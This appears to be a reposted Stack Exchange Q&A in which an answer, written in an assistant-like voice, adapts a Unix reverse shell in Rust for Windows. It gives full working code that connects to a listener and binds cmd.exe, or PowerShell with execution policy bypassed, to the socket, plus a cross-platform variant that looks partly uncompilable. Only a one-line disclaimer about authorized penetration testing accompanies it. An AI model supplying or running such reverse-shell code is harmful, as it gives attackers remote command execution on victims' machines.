Windows平台下Rust中TcpStream::as_raw_fd的替代方案及Unix反向Shell代码适配问询
Windows-Compatible Reverse Shell in Rust
Got it, let's fix this up for Windows. The core issue is that Windows uses handles instead of Unix-style file descriptors, so we need to swap out the Unix-specific I/O traits with their Windows equivalents. Here's how to do it step by step:
Key Replacements
- Replace
std::os::unix::io::{AsRawFd, FromRawFd}withstd::os::windows::io::{AsRawHandle, FromRawHandle} - Swap
as_raw_fd()(for file descriptors) withas_raw_handle()(for Windows handles) - Use
Stdio::from_raw_handle()instead ofStdio::from_raw_fd()to wrap the handle for process I/O - Replace
bashwith a Windows shell likecmd.exe(since bash isn't native to Windows by default)
Windows-Only Implementation
Here's the modified code tailored for Windows:
use std::net::TcpStream; use std::os::windows::io::{AsRawHandle, FromRawHandle}; use std::process::{Command, Stdio}; fn main() -> std::io::Result<()> { // Target address (update this to your listener's IP/port) let target_addr = "0.0.0.0:5550"; // Connect to the listener let sock = TcpStream::connect(target_addr)?; // Get the raw Windows handle from the TCP stream let stream_handle = sock.as_raw_handle(); // Spawn an interactive cmd.exe session Command::new("cmd.exe") .arg("/c") .arg("cmd") // This launches a new interactive cmd session .stdin(unsafe { Stdio::from_raw_handle(stream_handle) }) .stdout(unsafe { Stdio::from_raw_handle(stream_handle) }) .stderr(unsafe { Stdio::from_raw_handle(stream_handle) }) .spawn()? .wait()?; Ok(()) }
Notes on the Windows Shell
- We use
cmd.exe /c cmdbecause directly passing-i(like with bash) doesn't work for cmd. The/c cmdtrick launches a new interactive cmd session that hooks into our TCP stream. - If you prefer PowerShell instead, replace the Command block with:
Command::new("powershell.exe") .arg("-NoProfile") .arg("-ExecutionPolicy") .arg("Bypass") .arg("-Command") .arg("-") // Reads input from stdin
Cross-Platform (Unix + Windows) Version
If you want a single codebase that works on both systems, use Rust's conditional compilation:
use std::net::TcpStream; use std::process::{Command, Stdio}; // Import Unix-specific traits when compiling for Unix #[cfg(unix)] use std::os::unix::io::{AsRawFd, FromRawFd}; // Import Windows-specific traits when compiling for Windows #[cfg(windows)] use std::os::windows::io::{AsRawHandle, FromRawHandle}; fn main() -> std::io::Result<()> { let target_addr = "0.0.0.0:5550"; let sock = TcpStream::connect(target_addr)?; // Get the appropriate handle/file descriptor based on OS #[cfg(unix)] let io_handle = sock.as_raw_fd(); #[cfg(windows)] let io_handle = sock.as_raw_handle(); // Choose the correct shell for the OS #[cfg(unix)] let mut shell = Command::new("bash").arg("-i"); #[cfg(windows)] let mut shell = Command::new("cmd.exe").arg("/c").arg("cmd"); // Hook up stdin/stdout/stderr to the network stream shell .stdin(unsafe { #[cfg(unix)] Stdio::from_raw_fd(io_handle) #[cfg(windows)] Stdio::from_raw_handle(io_handle) }) .stdout(unsafe { #[cfg(unix)] Stdio::from_raw_fd(io_handle) #[cfg(windows)] Stdio::from_raw_handle(io_handle) }) .stderr(unsafe { #[cfg(unix)] Stdio::from_raw_fd(io_handle) #[cfg(windows)] Stdio::from_raw_handle(io_handle) }) .spawn()? .wait()?; Ok(()) }
Important Security Note
Reverse shells are powerful tools intended only for authorized penetration testing or system administration. Unauthorized use is illegal and unethical.
内容的提问来源于stack exchange,提问作者user16658640
相关产品推荐
相关产品推荐

